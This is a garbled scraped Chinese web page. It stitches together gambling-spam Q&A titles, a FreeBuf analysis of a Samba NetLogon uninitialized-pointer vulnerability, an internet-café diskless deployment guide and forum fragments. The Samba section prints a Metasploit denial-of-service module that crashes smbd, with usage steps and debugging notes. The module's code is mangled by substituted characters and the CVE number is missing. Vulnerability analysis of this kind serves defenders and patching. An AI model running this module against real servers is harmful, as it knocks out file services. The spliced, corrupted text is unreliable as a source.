(极客学院f码兑换vip娱乐)——兑换显示该业务未初始化是怎么回事

Samba NetLogon未初始化指针漏洞的复现与浅析(CVE-) - FreeBuf互联网安全新媒体平台 | 关注黑客与极客
Samba NetLogon未初始化指针漏洞的复现与浅析(CVE-)
共201632人围观
,发现 16 个不明物体
0×01 简介
Samba 是利用 SMB 协议实现文件共享的一款著名开源工具套件。日前 Samba 曝出一个严重安全漏洞,该漏洞出现在 smbd 文件服务端,漏洞编号为 CVE-,可以允许攻击者远程远程执行恶意代码。
作为一款老牌系统工具,Samba 的使用率非常高,更是作为很多 *BSD 和苹果 OS X操作系统的组件存在,因此影响面非常大。Samba 支持的操作系统包括 Windows 95/98/NT,OS/2 和Linux。
0×02 受影响的产品
该安全漏洞几乎影响Samba 全部版本,具体受影响版本如下:
Samba&3.5.x&全版本
Samba&3.6.x&到&Samba&3.6.25&之前的版本
Samba&4.0.x&到&Samba&4.0.25&之前的版本
Samba&4.1.x&到&Samba&4.1.17&之前的版本
Samba&4.2.x&到&Samba&4.2.0rc5&之前的版本
0×03 漏洞细节分析
以下的代码分析、调试和复现过程是在 samba-3.6.9 debuginfo 版中进行,系统版本为 CentOS 6.4。
源码可通过下面的路径获取:
a) Netlogon 服务流程分析
在请求 Samba Netlogon 服务的时候,大致的交互流程如下图:
??Samba客户端如果想访问服务器上的资源,首先需要一个授权验证的过程。客户端会通过NetrServerAuthenticate 请求先到 Samba 服务器进行认证,服务器在收到请求后,会到域控服务器获取客户端的用户信息,并进行一系列的认证操作。??
在认证通过后,服务器会用客户端、服务器、以及客户端密码 hash 等信息,生成一个会话凭证(credential),并保存到本地文件中。默认情况下该文件的存储路径为/var/lib/samba/private/schannel_store.tdb。
生成文件时所用的 hash 索引用到了 Samba 客户端的计算机名,这个计算机名,是在 NetrServerAuthenticate请求中由客户端提供的。
后续再调用 NetrServerPasswordSet请求时,服务器会先取出之前存储的凭证,并将之和请求中客户端提供的凭证做校验,在校验成功后才进行设置密码的操作。
漏洞恰恰就出现在 NetrServerPasswordSet请求从本地文件里获取凭证的过程中。
b) 漏洞源代码分析
首先来看 _netr_ServerPasswordSet函数,代码部分如下:
可以看到,creds 指针在声明的时候,没有赋初值,而且该指针是个局部变量,如果初始化时处理不当就会导致野指针。后续在函数 netr_creds_server_step_check 内部对 creds 进行初始化。如果初始化失败就会在 TALLOC_FREE(creds) 的地方释放这个指针,并返回错误码。如果初始化成功,后续就会正常使用这个指针。
因此,只有在 netr_creds_server_step_check 函数初始化失败,即 status 返回非零错误码后,才有可能造成 creds 未被赋值,进而在 TALLOC_FREE(creds) 的地方释放野指针。
接下来我们看 netr_creds_server_step_check 函数内部如何实现,如下图:
????传入的是 creds 的二重指针,是为了给 creds 初始化,前面有个分支,读取了 smb.conf 文件中的配置信息。??
??????creds 指针又被传入了 schannel_check_creds_state 函数中。所用我们进一步跟进schannel_check_creds_state 函数,如下图:????????
????由上面的代码中可以看到,这个函数中是最终给 creds 指针赋值的位置,而且赋值位置在函数的尾部,只要前面产生错误,就会直接跳转到 done 标签的部分,造成 creds 指针未被赋值。接下来我们就分别分析以下,可能会导致走到 done 分支函数的功能。??
??open_schannel_session_store 函数的功能是打开服务器端本地保存凭证的文件(默认路径为 /var/lib/samba/private/schannel_store.tdb,可在 smb.conf 文件中配置)。只有在文件打开失败的情况下,该函数才会返回失败,无法由远程触发,而且通常这个操作也不会失败。????
??schannel_fetch_session_key_tdb 函数的功能,是用 NetrServerPasswordSet 请求中提供的 computer name 字段作为索引的一部分,从 schannel_store.tdb 文件中保存的 hash 结构中获取当前发送请求的客户端凭证。这里对于攻击者来说是比较容易让服务端返回错误的地方。??
??像前面 Netlogon 中提及的,如果客户端在发送 NetrServerPasswordSet 请求前没有发送 NetrServerAuthenticate 请求,服务端本地就不会保存对应这个客户端的凭证记录。此时就会造成这里返回失败,或者换个角度来说,如果 NetrServerPasswordSet 请求所提供的计算机名,服务器没见过或为空,这个函数就会返回错误。??
??最后是netlogon_creds_server_step_check函数。该函数的功能实际上就是检查NetrServerPasswordSet 请求中所提供的凭证,是否跟服务器端保存的凭证一致,如果不一致,也会返回错误。这里猜测也是攻击者比较好控制的点,只需在构造 NetrServerPasswordSet 请求时填充非法凭证即可。??
??所以最终本应由 schannel_check_creds_state 函数初始化的 creds 指针,由于提前错误返回,使得该指针没有被赋值。再加上这个指针在声明时也没有被赋值,最终导致了野指针。并在 TALLOC_FREE(creds) 时,使用该野指针。??
c) 修复后源代码分析
如上面图中所示,实际上修复的内容很简单,只是添加了 creds 指针的有效性检查。首先将 creds 的初值置空,并在 TALLOC_FREE(creds) 之前添加了 creds 指针和计算机名的判空操作。??????????
??0×04 漏洞触发条件??
??结合上面分析的内容,总结上述可能会导致初始化失败的位置,触发条件如下:??
??1)发送NetrServerPasswordSet请求的客户端之前没有在服务端进行过认证(没有发送过 NetrServerAuthenticate 请求);??
??2) 客户端发送的 NetrServerPasswordSet 请求的 computer name 字段值为空;??
??3) 客户端发送的 NetrServerPasswordSet 请求中的凭证为无效凭证;??
??0×05 本地验证 POC??
??POC 是在 metasploit 下添加的模块,代码如下:
#&This&module&requires&Metasploit:http//metasploit.com/download
#&Current&source:&https://github.com/rapid7/metasploit-framework
require&'msf/core'
classMetasploit3&&Msf::Auxiliary
&include&Msf::Exploit::Remote::DCERPC
&include&Msf::Exploit::Remote::SMB
&include&Msf::Auxiliary::Dos
&&definitialize(info&={})
&&&&super(update_info(info,
&&&&&&'Name'&&&&&&&&&&=&'Samba&Netlogon',
&&&&&&'Description'&&&&=&%q{
&&&&&&&This&is&a&netlogon&test&module.
&&&&&&'Author'&&&&&&&&=&['hurricaner'],
&&&&&&'License'&&&&&&&=&&MSF_LICENSE,
&&&&&&'References'&&&&&=&
&&&&&&&&&['CVE',''],
&&&register_options(
&&&&&&&OptString.new('SMBPIPE',[true,&&&The&pipe&name&to&use&,'NETLOGON']),
&&&&&&],self.class)
&&&pipe&=&datastore['SMBPIPE'].upcase
&&&&print_status(&Connecting&to&the&SMB&service...&)
&&&connect()
&&&smb_login()
&&&datastore['DCERPC::fake_bind_multi']=false
&&&handle&=&dcerpc_handle('4-abcd-ef00-cffb','1.0','ncacn_np',[&\\#{pipe}&])
&&&print_status(&Bindingto&#{handle}&...&)
&&&dcerpc_bind(handle)
&&&print_status(&Boundto&#{handle}&...&)
&&&&#&stub&=&lsa_open_policy(dcerpc)
&&&stub&=&NDR.uwstring('\\\\hello&world')
&&&stub&&&&NDR.wstring('root')
&&&stub&&&&NDR.wstring('windows-01')
&&&stub&&&'aabbccddabcd'
&&&stub&&&'2345'
&&&print_status(&Callingthe&vulnerable&function...&)
&&&&&&#&netlogon&setpassword
&&&&&dcerpc.call(0x6,&stub)
&&&&rescue&Rex::Proto::DCERPC::Exceptions::NoResponse,::EOFError
&&&&&print_good('Server&did&not&respond,&this&is&expected')
&&&&rescue=&&e
&&&&&&if&e.to_s&=~/STATUS_PIPE_DISCONNECTED/
&&&&&&&print_good('Server&disconnected,&this&is&expected')
&&&&&&else
&&&&&&&raise&e
&&&&#&dcerpc.call(0x0f,&stub)
&&&&disconnect
????POC 使用方法:
??1.??将上述代码拷贝到 netlogon_uaf.rb 中,并将 netlogon_uaf.rb 文件拷贝到 msf 的模块目录下,比如:/usr/share/metasploit-framework/modules/auxiliary/dos/samba
2.启动 msfconsole
3.显示需要配置的选项:show options
4.设置RHOST值:set RHOSTXXX.XXX.XXX.XXX
5.执行模块:run
??Msf 模块执行之后,看到目标机器 smbd 进程已经打出异常栈,而且是崩溃在了 _talloc_free 函数中。??
??接下来我们用 GDB 验证一下分析的结论是否正确:??
??(1)我们在 _netr_ServerPasswordSet,netr_creds_server_step_check 函数打断点,如下图所示,断住后单步执行,这里标红的值 creds_out(0x7fffffffd418)就是待会释放异常的局部变量 creds的地址,computer_name 是从报文中获取的计算机名“windows-01”。??
??(2)进一步查看 creds 指针变量的值为 0x00007ffff4dcd1dc??
??(3)发现 0x00007ffff4dcd1dc 地址是内存中的代码段地址,反汇编后发现这个地址是属于函数 _talloc_zero,并且这个地址刚好是 memset 函数的返回地址,据此可以推测,当前 creds 指针的地址是曾经调用 _talloc_zero 函数时的栈帧,并且存储的是它调用 memset 函数的返回地址。在这里将代码的地址当作堆地址释放,是引起错误的根源。??
??(4)接下来我们看看,netr_creds_server_step_check 函数返回了什么。这个函数里面调用了schannel_check_creds_state 去检查服务器上数据库中的 creds 状态,查找状态时使用的 key 是使用从报文中获取的 computer_name(“windows-01”) 变为全部大写字符来生成的,这里 keystr 值为“SECRETS/SCHANNEL/WINDOWS-01”,并且我们看到查找的返回值为空。??
??(5)上面查找的值为空之后,后面两层函数都直接将错误状态值 (0xC0000034)返回了,这就使得代码最终走到了 TALLOC_FREE(creds) 这个致命的调用,来释放一个野指针,导致崩溃。??
??报文的交互流程如下:??
??0×06 漏洞影响范围??
??Samba 客户端发送恶意的 Netlogon 数据包给 smbd 就可以触发该漏洞,如果漏洞利用成功就可以获得 smbd 运行权限,而 smbd 是以 root 权限执行的,导致权限提升。
给予漏洞的评分是10分,强烈建议企业和个人用户都尽快安装补丁修复该漏洞。
????0×07 漏洞攻击防护????
??Samba 官方网站已经发布了最新补丁,建议广大用户尽快升级。各大 Linux 厂商也已经发布最新的补丁程序,升级办法参考各大官方网站即可。??
??补丁更新完成后,都需要重启 smbd 服务。??
??0×08 参考文档??
[作者/hurricaner,属FreeBuf原创奖励计划文章,未经许可禁止转载]
必须您当前尚未登录。
必须(保密)
关注我们 分享每日精选文章
可以给我们打个分吗?钱塘娱乐——兑换显示该业务未初始化是怎么回事_百度知道
钱塘娱乐——兑换显示该业务未初始化是怎么回事
我有更好的答案
ƍƍ 8;6;2;2;4——时,或许永远只会拥有这件东西,如
采纳率:100%
为您推荐:
其他类似问题
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。您所在的位置: > >
> 乾坤版-极客部署指南
娱乐桌面易经宝客户端指南服务端指南行业技术
乾坤版-极客部署指南
发布: | 阅读:次 | 来源:易游 |
一、服务端操作
步骤如下:
1、打开易乐游乾坤版服务端控制台,进入客户机管理界面;
2、在客户机列表中选择已经安装了SSD硬盘的客户机,点击&修改&;
2.1 将&启动方式&指定为&极客启动&;
2.2 在&无盘设置&中指定客户机启动的系统;
2.3 初始部署&极客模式&,需勾选&开启极客部署&
部署完毕后自动重启:勾选后,客户端在部署完成后自动重启系统。若有大量客户机需要部署,请不要勾选此项,因为已完成部署的客户机,可以继续以P2P的方式为其它客户机提供极客部署服务,以大幅提升全网部署效率。
重新初始化部署:勾选后,部署程序将清除客户机SSD硬盘上的所有数据,重新对硬盘执行分区并格式化;若不勾选,部署程序将优先尝试执行增量更新。通常情况下,并不需要勾选此项。
Ps:目前,所有计费软件都有未登卡倒计时关机的功能,部分计费甚至无法更改这个时间,为了避免部署过程中自动关机,我们在部署极客模式的时候,最好是先不要安装计费软件,等极客模式部署完成以后,在开超级安装计费软件,这样客户机会先从无盘启动,后台自动同步更新后的数据,更新完成后下次启动会继续从极客模式启动。
极客模式客户机系统更新,方法为开超或挂盘修改所指定的映像/配置系统。
步骤如下:
1、因映像挂载操作更为便捷,这里重点介绍此方法,用户也可以根据需要通过&设为超级工作站&来更新。
2、打开易乐游乾坤版控制台,选择需要升级的映像所在的服务器,在映像管理处选择需要升级的映像,并执行&挂载到服务器&操作,具体操作如下图所示:
注意,请勾选&完全可写模式打开&,并记住映射到本地的盘符。
3、操作完成,打开控制台,关闭映像挂载;
4、若此操作是在配置上执行,则有可能会出现最后一次配置,请&确定配置修改&(最后一次配置操作步骤
5、客户机启动后,会自动以后台方式执行同步更新,不影响用户上机。
二、客户端操作
步骤如下:
确认客户机安装了SSD硬盘,并且BIOS设置为PXE启动,机器启动后会自动运行极客部署程序,如下图:
若有多台客户机需要执行极客部署,则已完成部署的机器先不要重启或关机,以便继续以P2P方式为其它客户机提供极客部署服务,直到全部客户机部署完成。注意,重启关机操作必须要点击部署界面上的对应按钮来进行,直接按机箱上的复位或电源键可能会导致SSD硬盘数据损坏。
1、极客模式客户机使用的SSD硬盘,需要手动分区吗?
不需要,分区操作将由极客部署程序自动完成,分成三个分区,
SSD&40GB情况分区规则如下:
系统盘:Windows 7,服务端所指定映像中实际使用大小 + 15GB
&&&&&&&&&&& Windows XP,服务端所指定映像中实际使用大小 + 10GB
回写盘:&15GB+pagefile大小(40GB&SSD&=80GB)
&&&&&&&&&&&& 20GB+pagefile大小(80GB&SSD&=128GB)
&&&&&&&&&&&& 30GB+pagefile大小(SSD&128GB)
游戏盘:& 剩余空间
注1:为充分发挥极客模式的性能优势,建议客户机SSD硬盘容量不要低于128GB;
注2:极客模式下,推荐使用Windows 7系统。
SSD&=40GB情况分区规则如下:
系统盘:(SSD - 服务端所指定映像中实际使用大小 & 1GB)/2 +
服务端所指定映像中实际使用大小
回写盘:(SSD - 服务端所指定映像中实际使用大小 & 1GB)/2
游戏盘:1GB
注:SSD&=40GB的情况,请不要将游戏设置为本地运行。
2、极客模式客户机SSD硬盘出现硬件故障,客户机会自动切换至无盘启动吗?
会自动切换成无盘启动。
3、客户机启动模式从&极客启动&改为&无盘启动&,客户机中的SSD硬盘是否受保护?客户机从无盘启动,本地SSD硬盘的系统分区和游戏分区均能正常受保护。
4、极客模式客户机游戏如何运行?
若服务端对资源配置为&自动模式&或&虚拟盘运行&,从虚拟盘运行游戏;
若服务端对资源配置为&本地运行&,从本地SSD硬盘运行游戏。
5、极客模式客户机是否可以在服务端变更基础映像或配置?
可以,变更基础映像或配置后,需再次执行极客部署流程。
6、如何快速部署大量极客模式客户机?
不要勾选&部署完毕后自动重启&选项,依次按以下次序开机部署:
1)先开2台客户机,待部署完成后,
2)再开5台客户机,待部署完成后,
3)再开10台客户机,待部署完成后,
4)再开20台客户机,待部署完成后,
5)再开50台客户机,待部署完成后,
6)再开100台客户机,待部署完成后,
7)再开200台客户机,待部署完成后,
依此类推,待全部客户机部署完毕后,再重启或关机。
7、极客模式客户机部署提示分区败,如何处理?
情况一:确认客户机是否存在多块硬盘,极客模式每台客户机只能有一块物理硬盘存在;
情况二:确认客户机主板BIOS设置中是否禁用了硬盘,请在BIOS设置中启用硬盘。
8、客户机极客模式启动、部署出现蓝屏,从无盘启动正常,如何处理?
请在此客户机主板BIOS设置中,对硬盘模式:IDE、ACHI进行切换排查,极客模式要求映像包系统与主板设置一致。
注:建议使用ACHI模式封装的映像包,可提高极客客户机运行速度。
9、删除客户机游戏盘中的资源,如何处理?
方法一:在 资源管理 -& 已下载资源 中单选或多选准备删除的游戏资源,选择完成后点击&删除&,请确认&删除客户机目录&是勾选状态;
方法二:在客户机管理中单选或多选客户机,选择完成后在鼠标右键菜单中点击&删除文件&,在弹出的功能框中,输入待删除资源的路径。
极客模式问题排查FAQ:
1分区失败:
1.1主板设置禁用硬盘:
RQ:启动bios中硬盘
1.2多块硬盘:
2无法进入极客有盘(不应该出现情况):
2.1&硬盘方式ide/ahci 与系统不一致;
RQ:设置硬盘模式与系统一致
2.2&部署映像与配置 与 服务端-客户机设置不一致;
RQ:切换配置或映像后必须重新部署
2.3服务端映像配置修改过,与客户机配置时间不一致
RQ:等待客户机更新完毕或者非格式化部署(仅勾选开启部署,不勾选重新部署)
3进入极客无盘(应该进入该模式):
3.1部署映像与配置 与 服务端-客户机设置不一致;
RQ:切换配置或映像后必须重新部署
3.2更新文件未完成,重启机器
RQ:等待客户机更新完毕之后再重启客户机
RQ:查看进程列表中是否有eygeeker.exe,如果存在说明还在更新;
客户机配置文件地址(系统文件隐藏属性):C:&#92 GeekCfg.ini(以下为文件格式)
Img=WIN7X64_PRO&&&&& 映像名
ImgCfg=中文1.9.20.0&&&&& 配置名
ImgVer=&&&&& 配置修改时间
4进入极客模式游戏运行:
4.1默认游戏虚拟盘运行
4.2服务端指定游戏本地运行游戏,会在本地运行
5极客日常维护
5.1更新产品,替换文件:
RQ:服务端挂在配置,手动替换配置文件,然后重启客户机,即可自动完成更新,(建议:大量文件时可开启非格式化部署模式,快速更新)
5.2更新驱动,安装软件:
RQ:客户机开超安装驱动及软件,然后重启客户机,即可自动完成更新,
(建议:大量文件时可开启非格式化部署模式,快速更新)
5.3修改客户机相关信息:
RQ:修改ip、计算机名等客户机基本,勾选非格式化部署即可完成(注意,网段内不要ip冲突)
RQ:可直接在极客模式,选择开超,启动客户机进入超级工作站模式,修改镜像盘中的相关内容(不要修改本地硬盘中内容,无法同步至其他客户机)
6网卡信息显示错误:
6.1网卡信息显示10M或100M:
RQ:映像中无网卡驱动信息,之前使用的pnp启动,需重新安装网卡驱动;
1.1混合部署(支持物理硬盘2分区或者3分区):
倒数仅从F盘-&C盘进行
RQ:2分区时,倒数第一个为回写盘(E),倒数第二个为游戏盘(D);
&&& 3分区时,倒数第一个为回写盘(F),倒数第二个为游戏盘(E),倒数第三个为本地系统盘(D)
&&& 多余3分区,也遵循上述规则,多出分区不做保护(F之后的分区)
文本地址:
本文是否正是您要查找的信息:
是,很满意!
不是,不满意!
选择不满意分类:
描述不够清晰
& 湖北盛天网络技术股份有限公司版权所有  鄂B2-梦幻西游登录不上
926 930都提示sdk尚未初始化初始化成功
请先初始化sdk
怎么破 _ 有问必答 - 靠谱社区
后使用快捷导航
没有帐号?
查看: 9853|回复: 2
huakaibiandicic
想说的都在标题了
为所欲为生猛吃鸡——靠谱助手“吃鸡模式”来袭 ()
为所欲为生猛吃鸡——靠谱助手“吃鸡模式”来袭 ()
靠谱家的千葉
靠谱家的千葉
抱歉,方便留个联系QQ,或者直接联系我们的在线客服:进行咨询
为所欲为生猛吃鸡——靠谱助手“吃鸡模式”来袭 ()cdk兑换未初始化,过一段时间真的就好了?_百度知道
cdk兑换未初始化,过一段时间真的就好了?
我有更好的答案
CDK?说的是礼包吧,一直蛮喜欢这游戏的,CDK也领了蛮多,最近发现有个领礼包福利的地方,有礼包大家一起分享下,一般都在18183领的
为您推荐:
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。}

我要回帖

更多关于 中国银行外币兑换业务 的文章

更多推荐

版权声明:文章内容来源于网络,版权归原作者所有,如有侵权请点击这里与我们联系,我们将及时删除。

点击添加站长微信